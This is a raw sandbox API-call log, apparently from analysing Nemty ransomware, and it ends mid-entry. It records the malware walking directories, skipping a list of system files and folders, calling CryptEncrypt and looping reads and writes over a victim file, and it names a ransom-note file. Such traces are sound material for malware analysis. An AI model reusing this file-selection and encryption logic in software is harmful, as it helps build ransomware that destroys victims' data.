1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0097.481] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf11d70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xecf11d70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xecf11d70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0097.481] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0097.481] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0097.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0097.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0097.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.483] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf11d70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xecf11d70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xecf11d70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0097.483] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0097.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0097.483] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2=".") returned 1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2="..") returned 1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2="...") returned 1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2="windows") returned -1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2="$RECYCLE.BIN") returned 1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2="rsa") returned 1 [0097.483] lstrcmpiW (lpString1="WhiteDot.png", lpString2="NTDETECT.COM") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="ntldr") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="MSDOS.SYS") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="IO.SYS") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="boot.ini") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="boot.ini") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="AUTOEXEC.BAT") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="ntuser.dat") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="desktop.ini") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="CONFIG.SYS") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="RECYCLER") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="BOOTSECT.BAK") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="bootmgr") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="programdata") returned 1 [0097.484] lstrcmpiW (lpString1="WhiteDot.png", lpString2="appdata") returned 1 [0097.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WhiteDot.png", lpUsedDefaultChar=0x0) returned 12 [0097.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WhiteDot.png", lpUsedDefaultChar=0x0) returned 12 [0097.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WhiteDot.png", lpUsedDefaultChar=0x0) returned 12 [0097.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0097.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WhiteDot.png", lpUsedDefaultChar=0x0) returned 12 [0097.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942b0 [0097.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0097.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0097.484] Sleep (dwMilliseconds=0x5) [0097.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xedc29670, dwHighDateTime=0x1d561e7)) [0097.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xedc29670, dwHighDateTime=0x1d561e7)) [0097.498] GetLastError () returned 0x12 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.498] GetLastError () returned 0x12 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0097.498] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0097.498] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0097.498] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="+H2uaC5TFqAbUMj+h1//Qqgz9t1ebUaafAVZqL7nmTrnEo+RZBMkZeYhFP3ezDBS\r\nFT78Gdwa8/s1Zl+1RptR8t+MXhHbcDTPZXLtIpN/Shduo4WKoknLYRLFu4zi/tUs\r\nyUqVUdxoNVJw43tJGhjEd9htpatMDi3lFR5TRx+BdOesFzJNnzoNSdiCX2bVJKax\r\nblWhs4+TGhLe9MLDlaidEVsO1r7WGbz2YqynaERihwS6MmNE4gfJh0oKvWAt5hY5\r\ndAfeccfalVnhqUx/QsdcOl3+fRib28qj+nRg/MoQoBp41ICAub2PoqMfQp87G7n8\r\n/MB0zu/OXbm94MVS6N7gHg==\r\n", pcchString=0x653ec5c) returned 1 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0097.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.498] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.499] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0097.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0097.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0097.593] 